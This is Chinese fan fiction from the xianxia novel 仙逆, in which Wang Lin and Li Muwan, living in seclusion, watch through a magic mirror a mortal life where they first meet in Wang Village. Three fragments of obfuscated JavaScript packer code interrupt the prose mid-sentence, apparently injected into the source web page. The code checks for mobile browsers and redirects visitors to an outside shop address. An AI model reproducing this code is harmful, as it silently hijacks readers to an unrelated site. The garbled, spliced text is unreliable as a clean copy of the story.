《金风玉露[仙逆同人文]》 1. 凡世 王林踏天后两百年,自复活李慕婉以来,他便带着人寻了一处山林归隐,百里的桃林里一处雅致的院落,雾气围绕峰峦,仙气缭绕,灵气充沛。 王林用极品灵石所布下的阵法隐匿了桃林的存在,若非达到第三步大能境界是难以探出此地的。 夫妇二人归隐后,非必要很少使用灵力,过起凡人寻常生活。 日落前夕,李慕婉总爱浴在日光下抚琴,琴音漫漫,王林不打坐也不修炼,静静坐在椅垫上,手里拿着酒壶,痴痴望着这一幕。 这是他所跨过万万里,苦守了三千年,才失而复得的幸福,在他眼里,世间万物都不及李慕婉的笑,只要她喜欢的,他都会倾其所有的满足。 长发浮动在清风里,飘起二人衣袂,李慕婉察觉身后的目光在笼罩自己,一股伤感隐隐而来,她魂血还有王林留下的神识,也就是这丝神识,他们能彼此感应到对方的情绪,而这股伤意,并非来自自己,而是王林。 指尖拨动的琴弦顿止,余音飘向山谷,蜿蜒婉转。 落日眷顾着她,与那男子目光的柔情一并裹着人,李慕婉缓缓转身,视线对上王林,只见他深眸里一闪而过的忧愁。 李慕婉心间作痛,莫名心疼,朝那颀长的身影走近,依在他膛前,抚平他那难以平息的伤:“师兄,你在想什么?” 王林大掌轻轻覆上她后腰,不动声色往自己怀中带了带,感受着她发丝上的清香,嘴角泛着淡淡的笑意,触碰到这副身躯时,那三千年的复活李慕婉的艰辛与苦楚,随着那琴音消散,只剩阵阵余香,在提醒他。 眼下这般长相厮守与朝朝暮暮便是最幸福的,倘若要经历万年才能与挚爱之人相守,他王林也会不顾一切坚定走下去,即便李慕婉复活这两百年里,身体也在慢慢恢复,可他还是会害怕,害怕她的离去。 因为那是他的道心,他唯一爱的人! 王林另一只空置的手轻抚她的发丝,发丝打在他面颊,他未拨开,就如此享受着,磁重的嗓音略带柔和,“婉儿,我很想你!” 他很想她,尽管人已经依在怀里,任他抱得再紧,始终后怕这人不翼而飞了,他从未如此患得患失过,尽管她的气息和声音那么近,他还是想一遍遍诉说他的想念,似要将那三千年的思念都诉尽与她听。 李慕婉仰头望着他轮廓,不明所以,只是双臂环住他的腰腹时收紧了些,红唇轻启:“师兄,婉儿在这。” 王林低头,朝她额前轻轻点缀,“婉儿,这些日子你的灵力已经能收放自如了,与我隐居在这儿,你可会觉着烦闷?” 隐居是他的意思,他不再追求那无止境的修为,也不再追求争夺上等的宝物,他虽已是跃天尊,踏天境,普天之下能与之抵抗的已寥寥无几,可是他也知晓天外有天,人外有人,后来者居上的道理,世界法则无穷无尽,他已不想再探究,只要与心爱之人过着凡简的生活。 可在那漂泊的三千年里,心中藏了无人能探知的空寂与残缺,宛若遇神杀神,遇魔杀魔的道路里,他闯出了自己的一条道,复活了挚爱,在李慕婉苏醒那一刻,三千年紧绷的弦如洪流崩断。 什么修仙,境界,都没有守在心爱之人身侧重要,三千年前他不懂,世仇绝灭后,错过了与李慕婉相守的那两百年,至此失去了三千年没有她的长河,他是漂泊无归处的孤魂野鬼。 而今,他要往后日日夜夜都要与她耳鬓厮磨,残缺的人生自此有了归处。 李慕婉苏醒后灵力攀升太快,王林需要每隔一月为她压制灵气,待她慢慢吸收,让这副身子能够适应,两百年来一直如此。 “有师兄陪着婉儿,婉儿自然不闷。”李慕婉面颊红晕,虽说相守了两百年,李慕婉身子在没有完全适应体内灵气前,王林都不敢有旁的想法,每次相处都是点到为止,只是口中残存她躺在避天棺时,那颗眼泪的咸涩。 他的要事,便是李慕婉身体完完全全恢复如初,昨日最后一次的调理,让李慕婉彻底适应了全部灵气,并融合体内。 王林蓦然抱起李慕婉,李慕婉毫无防备,气息在腾空时隐隐急促,“唔……师兄?” 她身量纤细,抱在怀里柔若无骨,王林直直往桃枝树下秋千去,落坐后将人放在腿上,就这么坐着,目光飘向远处,李慕婉还依偎在怀里,抬头便能看见他的侧脸,白色发丝如瀑布散落,拂在她指尖,李慕婉将一撮白发轻轻攥入掌心,似抓住了与心脉般重要的东西。 “少年时,我为给父母争一口气,踏上修仙之路,从此天人永隔,修真之路人心险恶,我只能逼着自己强大,成了弑杀之人,人生不全,直到遇到婉儿你,才让原本漂浮的我有了归处,倘若不修仙,我或许也会在王家村陪伴父母安享晚年。”王林目光深邃,声音像是渡过无尽漫长的岁月。 “所以,我王林如今很珍惜与你的每一时一刻,不想再搅到修真界的杀戮里,即便我神通广大,也只愿与婉儿长相厮守。” “婉儿,你要一直陪着我,可好?” 李慕婉怔怔望着他,指尖拂过他面颊,轻轻摩挲,“嗯,师兄,你做什么婉儿都陪着你。” 她仍记得苏醒那一刻,他哭得像个无助的孩子,她再也不忍心看到自己心爱的人为自己流泪。 这二百年时间里,李慕婉几经想要谈起他这三千年的历程,可王林总是避重就轻的道与她听,那些苦与累,他一个人承受就够了,他不想他的婉儿因此活在愧疚与自责里。 李慕婉忽然坐起身,双臂锢着他脖颈,气息稍稍贴近,“师兄,婉儿在云天宗藏典阁看过记载,世间有一种法宝,能够窥视人不曾走过的选择,也就是另外的人生,只是启用这法宝所需灵气庞大,还要有足够的修为方可启动窥视之能。” 王林长臂一挥,一把类似玉盘的琉璃镜现出手心,“婉儿说的可是这个?” 李慕婉踮脚要起,搭在她腰上的手用力将人带回,不让她走,声音哑极了,“去哪?就这么看。” 那霸道的气息与当初修魔海时近乎相同,李慕婉只能就着这个姿势,拿过窥视镜。 “这,师兄哪里弄来的?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13723017|144902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“从一个九级修真国里,因缘际会得到的。”王林若有所思说,“窥视镜,能窥视不曾走过的人生……” 李慕婉感觉身后的手臂有所松动,这才又站起身,这一次王林没阻止她,而是牵起她的手,走到一处莲花湖面,随着他手中灵气驱动,窥视镜飞跃湖面上方,不愧是九级修真国的上等宝物,王林启动后那镜面迅速爆发无数气流形成漩涡,将那池子里的莲花瞬时吸入。 这莲花是王林为李慕婉栽种的,两百年悉心灌养,哪能让这法器给毁了。 忽的他周身灵气再次波动,李慕婉感受到他的隐匿了两百年的戾气即将泄出,担忧抓紧王林衣袖:“师兄……” 王林一手搂过李慕婉腰肢,右手掐决,将窥视镜吸入的莲花全部归回原样,那可是他为婉儿种的,她最是喜爱,决不允许任何缘由毁坏,紧接着又从储物袋一下拿出数百瓶天逆珠灵液倒入湖面,灵莲吸收了灵液的养分,不但恢复精气,还比先前愈发盛放。 李慕婉早已不以为奇,在她这儿,王林总能有她想象不到的神通。 “婉儿别担心。”王林察觉她的心思,很快安抚道。 接着继续启动窥视镜,李慕婉不知道他要做什么,“师兄,这窥视镜的因果是不能随意窥视的,除非,除非能掌握因果,否则会反噬现实与镜内人的人生,师兄快停下……” 王林温柔看向她,“婉儿,我知道。” “若非我掌握了能复活你的方法,启动一界本源,让你能与我一起踏天,不然我或许也会启动这窥视镜,看看你我之间最后的因果到底是什么,可是后来我明白了这一切因果,无需窥视镜。” “那师兄今日启动窥视镜,是要?” “你不是总念叨我未踏入修真界的人生会是什么样的么?”王林揉了揉她的发丝,宠溺说,“今日我便开启窥视镜,看一看我凡人的一生,可好?” 李慕婉与王林隐居这两百年,已经有凡人的模样,只是这一切都逃不开灵气和法术的支撑,她想了解自己沉睡的那三千年,王林是如何过的,也想了解他过去未曾与自己相遇,又是什么样的。 “嗯,”李慕婉点头,神色略有担忧,“师兄小心,若有反噬迹象快快收手。” “无碍,以我的修为,已经可以无视窥视镜的吞噬之力。”王林结印施法,窥视镜面光幕穿梭,千年的缩影不断闪过,最终镜面呈现到一处村落。 在王林闭目的一息间,一丝神识从李慕婉额间流入窥视镜。 时间如流,窥视镜启动,镜面里边发生的所有事王林都能通过灵力感应。 待他再次施法结印时,窥视镜已有万象生来,王林牵着李慕婉的手走回湖边的居所。 王林从身后环过李慕婉,双手牵动着她,将那白皙修长的手指落在琴弦上,随着琴声波动,窥视镜画面闪过,他不会抚琴,看似他带动李慕婉,实则是李慕婉带动他。 王林闭上眼,连同李慕婉都能感受着窥视镜的万象。 窥视镜的时间流溯到朱雀星,赵国永正八年春…… 2. 初遇 王家村头,老少坐在树荫下议论不停,王浩嗑着瓜子听得津津有味。 “听说铁柱回来了,还带了个小娘子。”谢三婶声音响亮。 王浩动作微顿,吐出瓜皮,“铁柱哥回来了?” “他不是上京赶考了吗?怎么还带个小娘子回来,谢三婶,你可见过这个小娘子?” “见过了啊,”谢三婶说,“那女子气质温婉,容貌惊艳,那小脸嫩的能掐出水来。” 说到这儿她还觉得不够,寻着生平能想到的词来形容,“嗯,出水芙蓉,像是莲花池出来的仙子。” 王家小院坐落一处竹林内,秋日快来时,竹叶子是黄绿交错的,院内零零落了薄薄一层枯叶,略有凋零衰落之景。 而今是春日,嫩绿崭新生机景象映入眼底,王林父亲王天水以木雕为生,院里散落些木削,风搅动时便粘上李慕婉裙摆,李慕婉专注堂屋内的谈话,因隔了距离,她听得不是很真切。 王林母亲周英素望着眼前的儿子,临行前新做的衣裳,王林袖口却破了几个洞,二老面面相觑片刻,周英素面带忧虑,抓着王林双臂关切问:“儿啊,你不是上京赶考了?怎么弄成这副样子,还有院外那个姑娘又是怎么回事。” 少年王林跪在父母前,正堂内是王天水平日木雕的地方,右进是二老的寝卧,屋内零散的木料堆积,不少木雕成品摆放整齐,那张已有年岁的长木案桌放了几个半成品木雕。 “爹,娘,是铁柱不孝,辜负了二老的期望,让你们失望了。”王林额间发带垂下,双臂撑着磕了个头。 周英素心疼儿子,赶忙弯腰扶起:“儿啊,即使没考上也没关系,只要人无事就好,既然回来了那便安心在家,还有爹娘呢……” 王天水手里端着烟斗,声音沉重道:“孩他娘说的对,许是天意,大不了再准备一年,来年再上京。” 四年前,四叔来家里赐仙,清平镇上仅有的一个名额给了王林,可他为了能常伴二老左右,只能弃仙路,考功名。 王林心疼二老为其操持,去岁通过乡试,今年春闱中他有信心凭借此次机会,争一争功名,出人头地,为父母争口气。 奈何半途逢劫匪当道,丢了夹带和身份鱼符,入京成了问题,也错过春闱会试时间,只得折返回乡。 屋内又陷入一片死寂,春风与屋檐环绕,日光余晖洋洋洒洒落在李慕婉的轮廓上,原本明媚的五官多了几分柔色,显得愈发温婉如水。 正堂内谈话声稀稀落落隐隐而出,风变换方向,将那些木屑又吹进堂屋。 一束落日映入门缝里,周英素往门外倾身,试探说:“那这带回来的姑娘该如何安置?” 王林气息微叹,早从劫匪手里救下李慕婉后,二人又躲避追杀在山林度过那几日,李慕婉便已打定跟着他。 *** 起先王林只想出手相助,并未有过同行之意,奈何李慕婉噙着眼泪,柔柔说:“小女子与兄长在京城讨生活,想着去燕州投奔亲戚,不料途中因劫匪抢掠,不慎走散,若兄长脱离困境,想必已先到了燕州。” 二人在林间走了几日,干粮用尽了,王林只能采些野果来饱腹,面对眼前陌生的女子,他未全信。 “既已脱困,那你大可去燕州寻你兄长。”眼前的少年眉峰凌厉,虽一身书生清秀气质,却让李慕婉顿感压迫。 那横扫而过的锋芒她避之不及,闪躲着王林的视线,“我,我身上没有地图,也无银钱,怕是,怕是到不了燕州……” 她朝那劫匪的巢穴方向望了望,显然是害怕的,若要去燕州,得绕回去,岂不是又要陷入匪窝里。 王林身上所带的银两也不多,那都是爹娘省吃省喝积攒下来的,经劫匪一路穷追不舍,为保全性命,丢了银钱不说,还把最重要的入京文书丢了。 王林没理会,只是往官道方向去,李慕婉跟着问:“恩公,你是要去哪?” “回家。”王林淡淡回道,压根没看李慕婉。 “我,”李慕婉眼珠子转动着,打量着主意,“我能否跟恩公同行,等到官道后寻了客栈便不会烦扰恩公。” “你随意。” 李慕婉稍能放心些,且不说她一个弱女子想要在这山林走出去,夜间若是遇着猛兽,或是歹人,她还没法足以应对,眼下要事便是先走出山林,到了官道再做打算。 可是哥哥在遇着劫匪前就已经与她走散了,当务之急应是寻个落脚点后联系上哥哥再说。 只是这与她跟王林说的不大一样。 王林判断方向后寻到官道找了间客栈暂宿一夜。 夜里李慕婉趴在窗台,恹恹欲睡,心思却格外沉重,此地她人生地不熟,隔壁间那人,虽说冷冰冰的,既能在歹徒手上救下她,想必也不是坏人,再看他一身装束打扮,应该是个书生,此时入京,多半是赶考,思来想去,李慕婉便想通了! 王林合上窗,正准备下榻,这几日为避开劫匪行踪脑力与体力都在透支,难得寻着客栈能够睡上一觉,突闻门外两声敲响。 “恩公,”李慕婉手指扣在门上,又轻喊,“恩公可睡下了?” 王林踱步开了门,昏暗中隐隐看见一张精致的脸,“何事?” 李慕婉抿唇朝里打量了须臾,没进去,“日前恩公说此趟是归家,我在此地人生地不熟,实在是无处可去,能否……” 她说着余光谨慎注视他的反应,王林俯视着人,耐心听着,想听听她的意图。 见他没有反应,李慕婉才继续说:“能否同恩公回家先落脚。” 王林目光森冷,压下眉锋,睨着他,那神色实在算不上和善,李慕婉下意识躲避,犹似一只惊魂的小兔。 “我也不想劳烦恩公,待我落脚后定第一时间书信家兄,届时再离去,绝不叨扰恩公!”李慕婉话音急切,说得甚是诚恳。 王林并未应下,且不说此人是何来路,先前说是与兄长在京城讨生活,可她口音一听就是京城土生土长的纯正口音,而她身上衣裳料子也绝非普通人家能买得起的,头上那支金镶玉莲花步摇可见价值不菲,莫非是富贵人家逃亡的小妾或是逃婚的官家富贵小姐。 若是领回去,此后定然麻烦不断。 见他犹疑,李慕完拿出事先准备的鱼符和过所,她双手呈到王林跟前。 默了须臾,王林抬手拿了那竹简鱼符,上面刻的“李慕婉”想必就是她的名字,还有官府烙印,此鱼符不可能是假。 只有寻常百姓才会用竹简制作鱼符,若是官家小姐的鱼符,怎么也是铜制以上,此间另有古怪。 见其一开始未明说来历,而是一步步试探他底线,今夜又来表明身份,她身上只想求一个安定之所没错,只是背后身份另有隐情。 “恩公若是不信,大可收着我的鱼符和过所到官府里查问。”李慕婉低声。 王林定了片刻收下鱼符与过所,语气淡淡道:“明日卯时出发,若见不到人,我也不会多等。” 随即关上门,被木门隔绝的李慕婉望着空空的手心,暗自松了口气,转身隐入宁谧的暗色里。 回王家村的一路上,李慕婉都没有任何动作,只是每唤一句恩公,王林都不大喜悦,他不喜欢这个称呼,路上有同行之人,她唤一句,就会引来旁人观测,倒让人误以为他是挟恩图报,拐了这么个女子跟着自己。 “我叫王林。” 李慕婉先是一怔,而后想着每次唤他恩公,他便皱眉,许是不喜这么唤他,可他与自己有恩,直接唤名字不妥,该有的礼数要有,这是家中从小便教她的。 她心里琢磨几转,唤公子显得生分,往后若在他家住下,也不知多久能有哥哥音信,思来想去,她决定了。 “义兄,我叫李慕婉!”这称呼能拉近关系,又不会过于逾越。 至于她的名字,王林看过鱼符,自然记住了。 只是这称呼…… 李慕婉很会察言观色,解释道:“义兄对我有恩,这段时日,少不了麻烦义兄,婉儿这么称呼,可以吗?” 王林无奈又是沉息一声,没有作答,途中半月二人也算是互相照应才回到王家村。 *** “既是无处定所,也是苦命人,不过是多一口饭吃,倒也没有置之不理的道理。”王天水抽了两口烟袋,若有所思。 得了王天水的允许,一直跪着的王林这才起身,周英素拍了拍他腿上的木屑,王林扶着王天水出来,三人对着李慕婉。 只见她笑意相迎,如一汪清水,率先欠身道:“王叔,王婶,小女李慕婉,蒙义兄相救才得以保全 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13723018|144902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 性命,唐突造访实有不周,却是万般无奈,待婉儿寻见兄长后,谢过恩情自会离去。” 周英素对她印象不错,举止间优雅不失礼数,落落大方,亭亭玉立,如何看都像是大户人家里娇养的掌上明珠,比镇上她见过的富贵人家女儿还要端庄秀丽。 “既来之,则安之,铁柱既然带你回来了,就先安心住下。”周英素握着她手腕,给李慕婉收拾屋子。 “我们家素简,我与他爹住在堂屋,”周英素指着西侧,“这间西厢房是铁柱的屋子。” 王林那间西厢房比堂屋小一些,也算宽敞,内有陈设一张矮榻,一张山水屏风隔绝,划出一间书屋,书案是王天水早年寻的一根黄花梨木制成的,李慕婉粗略扫了一眼,这书案有七尺长,面上摆放几本书籍和砚台笔架,想必王林以前就在这看书写字。 其余陈设都是简单的家具,很普通。 “剩下的东厢房先前是用来放木雕的,那批木雕送走了,就空了出来,收拾收拾也还能住人。”周英素领着李慕婉又到了东厢房,东西两间屋子相对,门一开便能看见对面。 两间屋子身后都临着竹林,夜间风过时,俨如听见竹子的叫声,王林自小住在这,早习以为常。 东厢房虽不算大,对于她来说也足够了,况且她是暂住,又是有求于人,怎可要求太多,能遮风挡雨便已知足。 “多谢王婶。” “无碍。”周英素慈爱,李慕婉心底泛上一层暖意。 入夜后,王林跟王天水把东厢房收拾好,周英素则在厨房忙碌,厨房介于堂屋与东厢房之间,应是东厢房划出的一部分。 李慕婉有些拘谨,在陌生环境与家庭间,她看见一路上冷若冰霜,沉默寡言的少年与父亲一同忙碌时,也会露出没有防备的温暖的笑意。 月色笼过竹林,洒在王家草舍的小院里,王家村的星辉明亮,将她那长夜奔波的疲惫和漂浮,一并截留在此处。 李慕婉望着繁星,心中掠过哥哥的影子,暗自泛起愁:也不知哥哥是否顺利到了燕州。 用过晚膳后,周英素让她去房里看看还缺什么,翌日再让王林陪她一同上街采买置办。 李慕婉点点头道了声谢,没有拂去好意,她观察着周英素手里的动作,有模有样挽起衣袖,修长的指尖浸入木盆里。 “王婶,我来洗吧。” 周英素见她那双手细嫩,不像是做过家务活的,哪好让她粘手,忙道:“不用不用,你去歇着。” 见她执着,李慕婉也没有退,只是岔开话题转移了周英素注意力,“王婶,婉儿有个问题想问……” “什么?”果然,周英素收回手,见她问得严肃,倾听着。 “我听您跟王叔都喊义兄铁柱,为何叫铁柱啊?”李慕婉眸子露出天真。 周英素眉眼弯起,笑出了声。 ********* 修真界林婉梨林处 李慕婉立在湖边,视线从窥视镜上收回,王林在湖心亭上布棋,李慕婉朝他走去,王林伸出手抱过她腰肢,将人揽入怀里。 李慕婉抚着他眉心问王林,“师兄,你以前当真叫铁柱么?” 王林泛起浅浅笑意,“嗯。” “铁柱?”李慕婉呢喃了两声这个名字,像是在试探叫了之后王林的反应。 王林嘴角牵着笑意,任她闹。 “师兄怎得叫这个名字?” 王林解释说,“长辈常说,取个名好养活,爹娘从小便这么唤我。” 李慕婉似笑非笑点点头,只觉这个名字配上他怎么都不对不上,不过倒还挺可爱的。 忽而她玩心来了,伏在他耳畔唤了声:“铁柱?” “嗯?”王林挑眉应她,将她那小心思尽数看在眼里,布棋的手收回擒着她下颚,“唤我什么?” 李慕婉听得出他声音正肃起来,立马改了口:“师,师兄……” “还有呢?”王林鼻息凑近,近乎要贴着她,侵略性的视线仿若要将她吃干抹净。 “还有……”李慕婉含羞犹豫不决,只觉下颚的力道加重,腰上的手扣住她,她不得不开口,声音细若游丝,“夫君。” 王林听见满意的答案,朝那红唇轻点,李慕婉只觉浑身酥/麻,软软跌进他胸膛。 3. 收留 周英素说了缘由,李慕婉才恍然,手里的活井然有序干完了,虽不算熟练,却也没出差错。 铁柱,老人常言取个糙名好养活,打小爹娘就是这么叫的,王林不觉得有什么,只要是爹娘开心,他做什么都可以! 王林因着没能到京城赶上会试,翌日卯时起早从村东头挑满了水,便进房里看书了。 自己能早些起来帮着家里干活,爹娘就可以多睡一会儿,也不需要那么操劳,正堂里雕刻的声音辰时一刻便缓缓传出,周英素从后院鸡圈拿着苞米出来,“咯咯”声吵醒了东厢房熟睡的李慕婉,晨阳 透过窗缝落在麻布围织的褥枕上,晃了李慕婉的眼,那褥枕里是入冬时晾晒的侧柏壳,淡淡的香味,有凝神功效。 布衾缝制的春褥里探出一支白皙的手臂,抬起往面上挡了光,早晨的春日带着凉,昨夜她睡得并不是很好,夜里竹林被风打着,又逢陌生环境,一时认床不好睡,下半夜才隐隐约约入睡。 醒来后一切都那么不真实,后院的鸡鸭声叫得越来越响,仿若能撕裂天幕,日光才得以破晓。 日头刚触到屋檐,小院里的浓雾还未散尽,李慕婉坐起身子,支起那扇支摘窗,浓雾消散间,隐约瞧见西厢房书案下专注的人影。 西厢房的窗是矮窗,王林开了一扇,从李慕婉这边望去,能看见屋内景况,她抻着懒腰疏通筋骨,对窗下的人正好抬头正视过来,彼此视线于晨雾里交错,李慕婉下意识要闪避,又想起王林与父母相处时的情景,此人并非冷血无情,不过是对外人怀有警惕罢了。 思及此,她朝王林微颔首以表礼数。 一阵风袭入,薄衫下身躯微颤,她没等王林应,而是转身入内从包袱里拿了身较为朴素的衣裳。 李慕婉顿了须臾,往包袱底下探手,拿出方木匣,她小心翼翼打开,里边是根品质上等的老参,药用价值极高,原本是要和哥哥去燕州,用这根人参作礼,敲开原来与父亲合作的药商这条道,可眼下哥哥与自己走散,人参却在她身上,也不知哥哥去了燕州之后,没有这参作礼,能否谈到生意。 若哥哥能顺利抵达燕州,她现在书信,或许哥哥能收到,她本不是怨天尤人的性子,成与不成,试试就知道了。 周英素喂完鸡鸭,开始准备四人的早膳,李慕婉换好衣裳,拾掇好后帮着周英素烧水,她不会烧火,但是学得快,小脸不知何时沾了灰,挽起的衣袖摇摇欲坠。 周英素面露柔色,摇摇头给她衣袖重新往上挽了两圈。 用膳是在正堂内吃的,饭菜摆好,周英素欲去叫王林。 李慕婉拦住说:“王婶,婉儿去唤吧。” 王林囊萤映雪,因着这次未能参加会试,内心本就有愧爹娘,故而回来之后一刻不敢松懈。 西厢房阶前立着女子纤薄的身躯,素衫宽大,却隐约能见腰如约素,肩若削成,她今年才过十七,已出落得亭亭玉立。李慕婉思忖须臾,敲响木门,声音轻柔如水:“义兄,用膳了。” 用膳?在王家,周英素每每都喊“吃饭了”。 专注看书的王林蓦然抬眼,木门底下一抹虚影昭入,简单应了一声:“嗯。” 手心的书叠放回书案,抬手拉紧些发带,灰蓝发带随长发披在脑后,这才起身推门去了正堂。 经过一夜相处,李慕婉倒是熟门熟路,厨房与正堂来回走,端了菜又盛好饭。 周英素显然没有因儿子的事影响,倒是见着李慕婉跟着自己灶台忙碌,一股暖意在心间流淌。 “王婶,待会婉儿再收拾吧。” “好了好了,马上好了。” 王天水放下刻刀,挫净手上的灰屑,冲净水后坐到饭桌前,与王林说着今日的木雕。 王林倒是看着李慕婉轻车熟路的模样,心中疑虑消散几分,或许是对他撒谎了,有难言之隐不便袒露,故而才说辞有所不一。 眼下已经答应收留,加上母亲也很高兴,周英素原本就想再生个女儿,只是身体原因没法再生,也算是她一个遗憾,而今李慕婉到来,似乎像弥补了这点。 李慕婉递过筷子:“王叔。” “义兄。” 王林接过后微微颔首,移开了目光。 她这身装束倒有些像是王家村的人,只是身上气质,顾盼间,娴静婉约。 周英素落座后,李慕婉最后才坐下,王天水对着周英素说:“李姑娘是客人,孩他娘怎可让客人做活?” 周英素夸赞道:“李姑娘聪慧勤快,学得快也做得好,倒是帮了我不少忙。” 王林给二老夹了菜,仔细听着谈话,也不搭茬。 李慕婉笑盈盈说:“无碍的,王叔王婶唤我婉儿就行。” “况且,婉儿本就是借住于此,哪能白吃白住,家里有什么活是婉儿能做的,婉儿也愿意分担,如此心里也能舒坦些。” 家里?王林心口微动,暗道她倒是不客气,把自己当家里人了。 “好好好,”王天水笑笑,“快吃快吃。” “吃完了,让铁柱带你去镇上,村里寄信不便,要到镇上去,”王天水说,“顺带把这些木雕送到店里。” 王天水用筷头点点旁边的背篓,几个放置好的木雕,王家大多木雕都是送往镇上木雕店里摆卖,由店家代售,抽取部分银钱,也有些时候是商人或者富贵人家直接找上门定制木雕,如此能转得多些。 “知道了,爹。”王林应下。 用过早膳后,周英素没让李慕婉帮手,王林与准备去镇上的物品,与王天水确认交货详细。 李慕婉立在正堂前等二人谈完事,见王林出来,上前道:“义兄,婉儿想借用你的笔墨。” 王林高出她一个头,李慕婉只能仰着头与他对话,他视线带着审视。 “婉儿要寄信,但是屋里没有纸笔……”李慕婉声音柔软,眸子诚意倍显,让人不忍拒绝。 “嗯,”王林越过她往西厢房走去,“笔墨纸砚都在书案上,你用完放回原位即可。” 他不喜他人碰自己的东西,那些书册,平日都是自己规整晾晒,就连屋子多半都是自己打扫,无需周英素操心。 “多谢义兄。”李慕婉得了允许,跟王林入了屋内,门生敞着的,李慕婉写信时,王林没在屋里,待人出来后,一齐上了镇子。 从王家村位属清平镇,从村子步行到镇上需一个时辰路程,若是坐村里顺道的牛车马车,小半个时辰就能到,每到市集日,村头顺道的车子便会等候村民一同去镇上,还可收上几文钱一个人,一辆车子最多能坐七八人,跑一趟算下来也不少了。 今日恰逢市集日,张大叔家牛车坐了几人,王林背着背篓,身后跟着李慕婉,从昨日带人回来之后,村里就有传闻。 今早刚出王家草舍的小道,王林便觉这条路比往日都多人,原是村民听闻他带回一女子,容貌传得天下无双,村民慕名而来想一探究竟。 “铁柱啊。” “铁柱回来啦。” “……” 村民与王林打着招呼,投掷而来的目光却落在身后女子身上,李慕婉落落大方应对村民的视线,点头回以一笑。 “这就是铁柱带回的女子,别说还真像富贵人家里出来的。” “听闻铁柱哥为了此女,错过了会试。” “铁柱哥光明正大带着人出来,难不成是认了她?” “……”诸如此类的话传入二人耳中,王林却无动于衷,村里的是非五花八门,他向来心不在次,自是左耳进右耳出。 可李慕婉不同,面上带着尴尬,加快步子想上前道:“义兄,为何不同他们解释?” “若是心虚才需要解释,倘若光明磊落何须多辩?”王林微侧头,却不曾看她,只顾着赶路。 “义兄说得对。”李慕婉见此也了然于心。 王林带着李慕婉上了张大叔家的牛车,一直到镇上,同行的村民盯着李慕婉移不开眼,又拉着王林打听事情原委。 王林三言两句打发了,见他不愿多讲,村民又将目标转移到李慕婉身上,李慕婉有样学样,用着王林的法子,四两拨千斤地打开了句句盘问。 村民讨不到趣,自然就噤声了,只是心中的猜测不曾下去丝毫,反倒是潜滋暗长,愈发想要窥破。 清平镇,长乐县最大的一个镇,商贸繁盛,诸多临镇小商都会来此经营谋生,镇上住着几家富户,生意做得大,联合开通了一条水路,故而清平镇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13723019|144902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上做生意的人也就多。 王林带着李慕婉到了木雕铺子,赵国的驿站主要传递官府文书,王林也是借着父亲与木雕铺子掌柜的关系,委托每日送货到外地的行商带出去,就是几经转折到了燕州恐怕也要月余。 李慕婉从袖中拿出两封信,嘱咐掌柜一封寄往燕州,一封寄回京城,李慕婉寄信时王林还在与店内百工清点木雕,确认雕像的品质,这都是正常流程,王林自小随父接触木雕生意,有些木雕手艺在身,就连对货流程也是驾轻就熟。 李慕婉这边已经忙完,等了好一会儿,见王林在与人交谈,便在一边等候,街边的摊贩叫唤吸引着百无聊赖的人,李慕婉探头张望,步子渐渐挪了出去,木雕铺子外有几家布摊,生意还算不错,从镇口走来,一路上贩卖的商品种类也算齐全多样,虽与京城比不了,可在这小地方而言,已经算是富庶。 王林与百工确认完后,巡视店铺,未看见李慕婉身影,掌柜瞧见他似要寻人指了指铺子外说:“我记得铁柱还没成亲啊,这姑娘是?” 王林道:“暂住家中的客人,适才她寄的信可是去的燕州?” 掌柜摸着手里的木雕说:“是,还特意嘱咐了定要帮她带到,想必是很重要的信,不过......” “不过什么?”王林对她仍是怀有警戒之心。 “不过,寄了两封,还有一封寄去京城的。” 京城......王林心底默了半晌,已到日中了,二人要在镇上吃了饭,要等到申时才有车子回村,回到村口也接近昏暮了。 ********** 修真界林婉处(接上一章) 感受到膛前的软肢,王林呼吸明显加重,李慕婉适应灵力后身体再无隐患,那压抑和隐忍了三千年的情愫仿若要在这一刻决堤,他那双清眸裹着人时,实在算不上清白,李慕婉何等聪慧细腻,怎会看不透他眼中的想要和欲/望。 “夫君,为何这般看着婉儿……”李慕婉侧开脸,心脏频频跳动,不自然摸了摸面颊,“可是婉儿脸上有东西?” “有,”王林攥过她手,抚在自己面颊上,轻轻摩挲,“有万里星辰,有风花雪月,有世间最美好之物……” 李慕婉不知怎的,心底泛起酸涩,她适应踏天境的灵力后,那沉睡三千年的记忆,似乎每日都在一点一滴的苏醒,脑海中模糊有过画面,身前的男子守在自己棺椁里,诉说着无人倾听的情话,那声音刚中带柔,就好似方才他说这些话时一模一样。 星眸里浮上一层水雾,转在眼眶中,沙哑喊了句:“师兄……” 细腻的肌肤淌过两行清泪,王林微微抬起她下颚,将那些眼泪含入口中,只是这一次,不再是咸涩,是甘甜。 